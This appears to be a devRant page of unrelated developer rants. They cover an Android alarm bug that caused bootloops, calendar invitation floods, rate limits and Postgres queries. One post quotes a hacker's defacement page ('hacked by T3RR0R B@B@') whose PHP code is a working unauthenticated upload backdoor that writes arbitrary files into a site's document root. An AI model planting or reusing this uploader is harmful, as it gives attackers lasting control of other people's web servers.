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!rant & story_time
This happend to the startup I was working for at ~2011. I was a junior Android dev, working on a very popular app.
During experiments for a new feature, I discovered that the system AlarmManager has a serious bug - you can set a repeating alarm with interval=0ms. If your app takes more then 1 ms to handle the Intent, then the AlarmManager will start to fill up the intent Queue, with unexpected results to the OS. causing it to slow down, and reboot when it ran out of Ram. Why? my guess was that because the AlarmManager was part of the OS, then any issues caused by it caused the system process to ran out of ram, crashing it, and the whole system with it. the real kicker was that even after a reboot, the AlarmManager still had Intents queued, causing the device to bootloop for a while, untill the queue was cleared. My boss decided to report the problem to google, as this was an issue in the OS. I built an example app, that caused the crash 10-30 seconds after starting, and submitted to Google. Google responded later that day with "not an issue, no one will ever do this".
Well... At this point I decided to review the autoupdate feature in our app, to make sure this will not happen to us. We just released a new feature where a user can set an update schedule option in the app settings - where you could setup a daily, weekly, or hourly update for the app. after reviewing it, It looked good, and the issue was not triggered in the manual QA I did. So, it was all good. And we released an updated version to the store.
After we did an update-install, we discoverd that, there was a provlem reading the previous version SharedPrefs value for the update schdule settings, and the value defaulted to 0...
the result was, our app caused all our users to go into a bootloop, and because the alarm was reset when the devices booted up, the bootloop could only be solved in a factory reset, or removing our app, before the device rebooted, and then waiting a few reboot cycles.
We lost 50 places in the market, and it took us 6 months to get back to where we were.
It was not my fault, but it sucked big time!4 -
The IT head of my Client's company : You need to explain me what exactly you are doing in the backend and how the IOT devices are connected to the server. And the security protocol too.
Me : But it's already there in the design documents.
IT Head : I know, but I need more details as I need to give a presentation.
Me : (That's the point! You want me to be your teacher!) Okay. I will try.
IT Head : You have to.
Me : (Fuck you) Well, there are four separate servers - cache, db, socket and web. Each of the servers can be configured in a distributed way. You can put some load balancers and connect multiple servers of the same type to a particular load balancer. The database and cache servers need to replicated. The socket and http servers will subscribe to the cache server's updates. The IOT devices will be connected to the socket server via SSL and will publish the updates to a particular topic. The socket server will update the cache server and the http servers which are subscribed to that channel will receive the update notification. Then http server will forward the data to the web portals via web socket. The websockets will also work on SSL to provide security. The cache server also updates the database after a fixed interval.
This is how it works.
IT Head : Can you please give the presentation?
Me : (Fuck you asshole! Now die thinking about this architecture) Nope. I am really busy.11 -
I made an Android app that on random interval shows android notification with sound like Facebook notification.
Few girls in the office asking me whose messaging me this much on Facebook Messenger. They think the girls are responding to my messages and you know in no time the gossip made me famous.
It's kinda cool being a programmer 😎14 -
Wow, I still remember some math after decades. Today, I needed some parameter calculation in an interval with smooth transition at both ends (i.e. continuously differentiable). So I used a 3rd degree polynomial where the values and derivations gave a 4x4 linear equation system. I lazily hacked that into WolframAlpha, and it works nicely.1
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My god the wall looks really punchable right now. Let me tell you why.
So I’m working on a data mining project, and I’m trying to get data from google trends. Unfortunately, there have been a lot of roadblocks for what should have been an easy task.
First it won’t give a raw search volume, only relative “interest”.
Fortunately it lets me compare search terms, which would work for my needs however it will only let me compare a few at a time. I need to compare 300.
So my solution is simple: compare all the terms relative to one term. Simple enough, but it would be time consuming so I figured I’d write a program to get the data.
But then I learned that they don’t have an official api. There’s a node module for this very thing based on a python module that reverse engineers the api endpoints. I thought as long as it works I’d use it.
It does work... But then I discovered that google heavily rate limits the endpoints.
So... I figured I’d build a system to route the requests through different tor nodes to get around the rate limit. Good solution right? Well like a slap to the face, after spending way to much time getting requests through tor working, I discovered that THEY FUCKING BLOCKED TOR IPS.
So I gave up, and resigned to wait 5 hours for my program to get the data... 1 comparison at a time... 60s interval between requests. They, of course, don’t tell you the rate limit threshold, so this is more or less a guess (I verified that 30s interval was too short and another person using the module suggested 60s).
Remember when I said the discovery that the blocked tor came like a slap to the face? This came as a sledge hammer to the face: for some reason my program didn’t dump the data at the end. I waited 5 fucking hours to get nothing.
I am so mad right now. I am so fucking mad.4 -
!rant
Sometimes I think I am (a developer) is similar to a samurai or a yakuza. Once we get into this business, we just cannot get out of it. :?
// I am starting to get drunk. It is lucky for you guys that we have 2 hours interval. I don't expect my next post to be any good.4 -
Another rant reminded me of one of my dad’s favorite sayings about experience...
Some people have ten years of experience. Others have one year of experience repeated ten times.
..and for ohers, the recursion interval is shorter still...
As a bonus, here’s another personal favorite: “Nobody’s completely useless. They can always be used as a bad example.”1 -
"come work from the office! we now offer an on-site masseuse with quick massages!"
WTF? No. First of all, the office is in the wrong fucking continent. But let's focus on the bogus "masseuse" crap for now.
We are a 3000+ full-time employees company. If all were to come to the same overpriced pile of fancy rocks at the same 60 hours interval (spread over 5.5 days), it would mean 1.2 minutes per massage per person per week. So to let each person have a single 15 minute massage session per week, there would have to be at least 12.5 masseuses available at all working hours.
Let's say 10 masseuses to account of those people who would not have a weekly session.
Now, let's say each masseuse is a no-strings-attached independant contractor making USD 3000 per year on a 60hour, 5.5 days full-capacity work week without breaks, vacations, benefits or sickdays (European readers may faint, but it is not so uncommon in other parts of the globe).
So this shit costs 30k USD per year.
I would much rather have 10 more USD per year than this useless "look how young and hype we are!" startup horsecrap.
"it would actually be more like 2 USD per year" was the rebuttal to my (way more politely phrased) argument above. "there is the whole overhead costs thing, and, besides, we will only have one masseuse available at a time"
Oh. So besides all the marketing, the whole point is to let a person have like four sessions per year.
Office Perks. Are. Not. Real.4 -
Do you think you can start all your weekdays' 730am to 9am with continuous honk noises every 5 to 10 minutes interval?
If you think you can, please teach me how to survive that shit. This much craps on daily (and especially as the start of the day) is definitely killing my mind and productivity for the rest of the day.2 -
The hand of IT guy in family
My family sees me as guy who works on IT stuff. The best part is that I will have to help them whenever they encounter problem regarding electronics in daily activities.
Son! The internet is not working
Son! The printer is not working
Son! The TV is not working
Son! My phone didnt get any signals
Son! The microwave is not working
Son! The TV remote is not working
Son! Why is this whatsapp popup always appear whenever I opened it
Son! The dvd player is not working
Son! My phone wont charged
Son! I want to buy online stuff
Son! The email that ur uncle sent me cannot be opened
Son! The email that ur aunt sent me is not there
Son! Can u help me download this travelling app
Son! I opened a website and it told me that I have 163718362 virus!
Son! I forget my password of my facebook account!
Son! Some guy idk on facebook added me as his/her friends, what should i do?
....
Son! The internet is not working (again)
The fact is that, most if these problem, I helped them by just.. restarting the router, reboot the router for 1 min interval, find specific toggler in disfunctional hardware that they accidentally hit during sweeping the floor, take out the power and put it back again, show them how to's in many account/payment mechanism in apps, etc
The very best part that whenever they satisfied, whenever things back to work again, whenever they can reset the password:
"I've tried what you told me, but it just didnt work, but idk when u did it, it works! you are really an IT guy"
And i was like
🙃4 -
I like the idea of having one hour interval between rant posting for letting more exposure for each rant.
It's a fucking brilliant idea.
@dfox chappeau my Genius.
thanks.10 -
Sending automatic spinned content email to a client asking him for payement... Starting at 60mn and decreasing interval by 1 minute each step ! He pays when interval become 7 minutes and phone me to say: "Hi ! How are you ?" ... mmmm' well well well... Calculate the number of emails he receive !6
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http://".$_SERVER['HTTP_HOST']."/server, check the code below
<html lang='en-US'><head><title>T3RR0R B@B@</title>
<a href="https://www.facebook.com/mr.T3RR0R" target="_blank"><h2>Click Here !</h2></a><br>
<style>
body{cursor:url("http:////"),auto;}html{display:table;height:100%;width:100%;}body{display:table-row;}body{display:table-cell;vertical-align:middle;text-align:center;}a:link{text-decoration:none;}
body {
background-color: #000000;
background-image: url(https://imgwm.com/images/...);
<!--http://twitrcover.com/ar/uploads/...-->
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-position:right top;
background-repeat:no-repeat;
background-size:110%
}
.style1 {
font-family: Arial, Helvetica, sans-serif;
font-size: 12px;
}
</style><br><br><br>
<br>
<center><?php
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx_file'>
<input type='submit' name='upload' value='upload'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "Ciee Sukses Uploadnya :* -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "gagal upload root >:(";
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
echo "Ciee Sukses Uploadnya :* <b>$files</b> di folder ini";
} else {
echo "gagal upload >:(";
}
}
}
?>
<!DOCTYPE html>
<html>
<title>K.I.T.A</title>
<audio autoplay loop>
<source src="http://micro.byethost24.com/KITA.mp..."></source>
</audio>
<head>
<link href='https://fonts.googleapis.com/css/...' rel='stylesheet' type='text/css'>
</head>
<body bgcolor="#2b2b2b" link="gray" text="gray">
<center>
<script type="text/javascript">
TypingText = function(element, interval, cursor, finishedCallback) {
if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
this.running = true;
return;
}
this.element = element;
this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
this.interval = (typeof interval == "undefined" ? 100 : interval);
this.origText = this.element.innerHTML;
this.unparsedOrigText = this.origText;
this.cursor = (cursor ? cursor : "");
this.currentText = "";
this.currentChar = 0;
this.element.typingText = this;
if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
TypingText.all.push(this);
this.running = false;
this.inTag = false;
this.tagBuffer = "";
this.inHTMLEntity = false;
this.HTMLEntityBuffer = "";
}
TypingText.all = new Array();
TypingText.currentIndex = 0;
TypingText.runAll = function() {
for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
}
TypingText.prototype.run = function() {
if(this.running) return;
if(typeof this.origText == "undefined") {
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
return;
}
if(this.currentText == "") this.element.innerHTML = "";
if(this.currentChar < this.origText.length) {
if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
this.tagBuffer = "<";
this.inTag = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
this.tagBuffer += ">";
this.inTag = false;
this.currentText += this.tagBuffer;
this.currentChar++;
this.run();
return;
} else if(this.inTag) {
this.tagBuffer += this.origText.charAt(this.currentChar);
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
this.HTMLEntityBuffer = "&";
this.inHTMLEntity = true;
this.currentChar++;
this.run();
return;
} else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
this.HTMLEntityBuffer += ";";
this.inHTMLEntity = false;
this.currentText += this.HTMLEntityBuffer;
this.currentChar++;
this.currentChar++;
setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
} else {
this.currentText = "";
this.currentChar = 0;
this.running = false;
this.finishedCallback();
}
}
</script>
<br><br><br>
<div id="satu">
<embed src="https://youtube.com/v/tec_KllmOH4/...
<br>
<b style="font-size: 40px;">hacked by T3RR0R B@B@</b>
<br>
- use your brain to repair this system<br>
Scary Crazy Forbidden<br>
@2018<br><br>
Contact : fb.com/mr.T3RR0R
<br></div>11 -
TL;DR Calendar services sucks.
Imagine yourself as startup. You don't want to spend fortune on paying $5 per user per month for Google Services. Also you don't want to pay that to Microsoft for O365. You want to run it itself because you already have droplet running with your other services (ERP for example. Funny story too btw.) Ok, decision has been made, let install something.
I have pretty good experience with OwnCloud from past as Cloud file sharing service. Calendar is not bad for single user purpose (understand it as personal calendar, no invitations to others, sharing is maximum I tried) What can possibly go wrong when I deploy that and use its Calendar?
Well, lot. OwnCloud itself runs well (no rant here) but Calendar is such pain in ass. Trouble is with CalDav under hood and its fragmented standards. So, you want to send invitation to your team for recurrent meeting. Nothing weird. It sends as one invitation to each one, good. Now you realize you have a conflict, so you need to change time of one occurence. Move it, send update. And here comes shitstorm. It is not able to bisect one occurence from series. So it splits it to separate events and send invitation for every single one. 30 INVITATIONS IN 2 SECONDS! Holy sh*t! You want to revert that. Nope, won't do. So you accept your destiny and manually erase every single one with memo in head about planning recurring events.
Another funny issue is when SwiftMailer library (which is responsive for sending e-mails from OwnCloud) goes to spamming mayhem. It is pretty easy to do. When e-mail doesn't comply to RFC, it is rejected, right? So if because of some error CalDav client passes non-compliant e-mail (space as last character is non-compliant btw) and SwiftMailer tries to send it to multiple recepients (one of them is broken, rest is fine), it results in repetitive sending same invitation over and over in 30 minute interval. Sweet.
So now I am sitting in front of browser, looking for alternatives. Not much to choose from. I guess I'll try SOGO. It looks nice. For now.5 -
Anyone know what Safe Agile is?
We're doing project interval planning for next 2 days.... aka long meetings about good knows what...
To me it sounds like bullshit bureaucracy.... because you can't have Safe anything with a team full of monkeys...
That or I just don't like change and giving up control... Or sitting I didn't meetings all day... Especially since I'm deaf and the captions suck...20 -
the irony appears to be that JavaScript is more consistent than rust
so let's say you want to create some enums to represent some potential values in a REST JSON payload
well you can implement Display trait but that won't determine the JSON output
you can make a as_str() method and that doesn't even make sense frankly, I guess it's not even a trait even though it's everywhere in the std library? (traits being rust's version of interfaces, so you'd think they should be consistent)
I have a halfway urge to say rust was a beloved language but then the foundations' drama made everyone escape the ship, leaving behind a mess
well evidently the answer is you use the stupid annotations:
enum Lang {
#[serde(rename = "en-US")]
EnUS,
}
well then this only works in serialization with serde. way to go.
how about if I have some JSON data that starts with numbers? I have an interval field in the REST that expects things like 1m, 15m denoting time scale
well no deal
because rust doesn't want enums starting with numbers
and here I thought rust was superior with its static typing. but I am having to rename things all the way down and nothing is consistent. this would be so trivial in JavaScript. and there's only one toString() method! and no interfaces people say you should use while nobody uses them!87 -
My desktop pc is suddenly having issues connecting to my home WiFi network, every few minutes it just stops having an internet connection while not showing anything out of the ordinary.
I finally have time to work on some side projects and now THIS happens, weirdly enough it's also just this network, my hotspot seems to work fine.
Now I have a watcher on to keep systemctl restarting the networkmanager, why can stuff just not work for once ? ;_;
I've had this issue since a few months but the failure interval has never been this bad. usually it was just one restart a day
Time to look up the linux mint forums again2 -
A hundred bucks that the time interval between moments when you can cross a street is a sequence with π and e in it4
-
When every related field has a god damn different way of working with the data on hand..
For example:
`tht_date` ("Y-m-d", Date) - expiration date on the product, hence, there can be multiple of the same products with a different THT
`tht_alert` ("-2 months", varchar, DateTime modify mutation string) - sending an alert when this interval is hit, and being the activator of the tht_date field (unless value is "none")
`tht_minimum` ("28", integer, quantity of days before tht_date) - to lock them from being sent out/collected.
...
How would you expect this ×not× to become a friggin' spaghetti when trying to resolve the best row ID?
These values are in the wrong spot in the first place, then they also act entirely different in relation to eachother..
I hate the person that set this up, for doing this. When is the madness going to stop...
FFS!! -
Fuck this shit. Any socket connection on JIO's fucking network gets dropped after 5 seconds if no data is sent. It's working on any other network. Wtf is going on???
Does anyone have any idea on this?
If someone has jio network please go to https://www.websocket.org/echo.html
And connect and check how long until it gets disconnected. Would be greatful if someone can validate this.
The project I am working on uses websockets extensively and this thing is screwing it up. I have temporarily set websocket ping interval to 3 seconds but what if the f**ckers over at JIO decide to start dropping connections every 1 second?7 -
Hey their did anybody notice unauthorized login attempt over ssh. Means I have a demo digitalocean droplet I just left it for some logs their isn't any imp data over but when I try to ssh back that machine after an interval of max 5 to 6 days after login message displayed their were 9876 login attempts were made, then I directly go to ssh log over secure log file get all those IP, found out max were from China some from France and all are doing random login names like user, admin etc etc and with random password over multiple ports even non standard one, is anyone finds this happening10
-
Neko Image Farm.
Yes, you heard that right. My most recent project has been farming neko images onto a removable drive to sell in the near post-apocalyptic future. How I did this? I used this API called nekos.best for the images. And an auto clicker with a time interval of 6 seconds to save them (Yes, there is a 100% better way of doing this). So, every minute, 10 nekos are downloaded. Anything faster would destroy both my PC and my internet. This has been the single most useless project I have ever done...
6 -
Could somebody please help me understand why the fucking hell does JS (I am talking about node.js, so backend) use 32bit integers in setTimeout and setInterval? I mean, I understand most of the choices regarding the language (I have chosen programming languages design and principles for my studies) and I am happily using it for almost 4 years. But I came across an occasion that I had to use big numbers in those functions and it took me a lot of time to figure out why the fuck my code was not working as it was supposed to.
If anyone has a good reason please elaborate. In the meantime I'll go punch some shit to calm down.10 -
Handy postgres script for those on teams with folks who maybe don't write the best queries...
`SELECT pg_terminate_backend(pid) FROM pg_catalog.pg_stat_activity WHERE query_start < now() - interval '3 minutes'`
Pew pew... -
I had a discussion - no, it was more a lobotomy - with one of our "experts"
I was kinda confused, as he had several grafana tabs open and an query editor...
He explained to me that he debugs and optimizes his query based on the grafana data....
Elasticsearch cluster with several hundred, different indices, > 20 TB data
I explained to him the scrape interval of 5secs, that he cannot distinguish his query from other queries, that there is far too much of an interference... Let alone that a 5 sec scrape interval is a very loooong time.....
Nope. It makes perfect sense to him and he'll continue to work like this. -
til recurring reminders have a lower interval limit of 4 hours. this 500 server error wasn't very specific about that.1
-
TL;DR When talking about caching, is it even worth considering try and br as memory efficient as possible?
Context:
I recently chatted with a developer who wanted to improve a frameworks memory usage. It's a framework creating discord bots, providing hooks to events such as message creation. He compared it too 2 other frameworks, where is ranked last with 240mb memory usage for a bot with around 10.5k users iirc. The best framework memory wise used around 120mb, all running on the same amount of users.
So he set out to reduce the memory consumption of that framework. He alone reduced the memory usage by quite some bit. Then he wanted to try out ttl for the cache or rather cache with expirations times, adding no overhead, besides checking every interval of there are so few records that should be deleted. (Somebody in the chat called that sort of cache a meme. Would be happy , if you coukd also explain why that is so😅).
Afterwards the memory usage droped down to 100mb after a Around 3-5 minutes.
The maintainer of the package won't merge his changes, because sone of them really introduce some stuff that might be troublesome later on, such as modifying the default argument for processes, something along these lines. Haven't looked at these changes.
So I'm asking myself whether it's worth saving that much memory. Because at the end of the day, it's cache. Imo cache can be as big as it wants to be, but should stay within borders and of course return memory of needed. Otherwise there should be no problem.
But maybe I just need other people point of view to consider. The other devs reasoning was simple because "it shouldn't consume that much memory", which doesn't really help, so I'm seeking you guys out😁 -
Hey guys, need a lil help from any front-ender, I need to create a chart that allows me to show tooltips for specific timeframes and let's me click them and go to the specific url for that timeframe, I know this isn't SO but from my past experiences, I would rather ask here. I have looked at chart.js and other libraries but I'm not sure If chart.js has those capabilities.
I would like to achieve something like this : https://treo.sh/demo/1/...
Any tips are welcomed :)9 -
Hey, anybody have any ideas what sentence/workd should i put as a Title and the subtitle beside the logo ? i make that title and subtitle choosen randomly after each interval
this is a fun project competing with my co-worker.
and the theme is a twitter clone, but for job seeking.
13 -
Anybody know how I could make an RxJS observable without RxJS?
I'm working on a library and I need it to be small (So including RxJS isn't really viable), run in the browser (IDK if Browserify will work for RxJS), and be fast. I need a way for a given element to 'listen' (or in RxJS terms, 'subscribe') to a value and update its text content whenever the value changes.
My current implementation is just a interval loop that checks if the previous value is the same as the current one, and if it isn't, it modifies the DOM.6 -
I had implemented an interval that was added when the viewport was active, and removed when inactive. This was to lessen the amount of ajax requests being done.
Though the little radio player was embedded at places, and thus the pictures didn't change at times.
I had to remove the inactivation of that interval.
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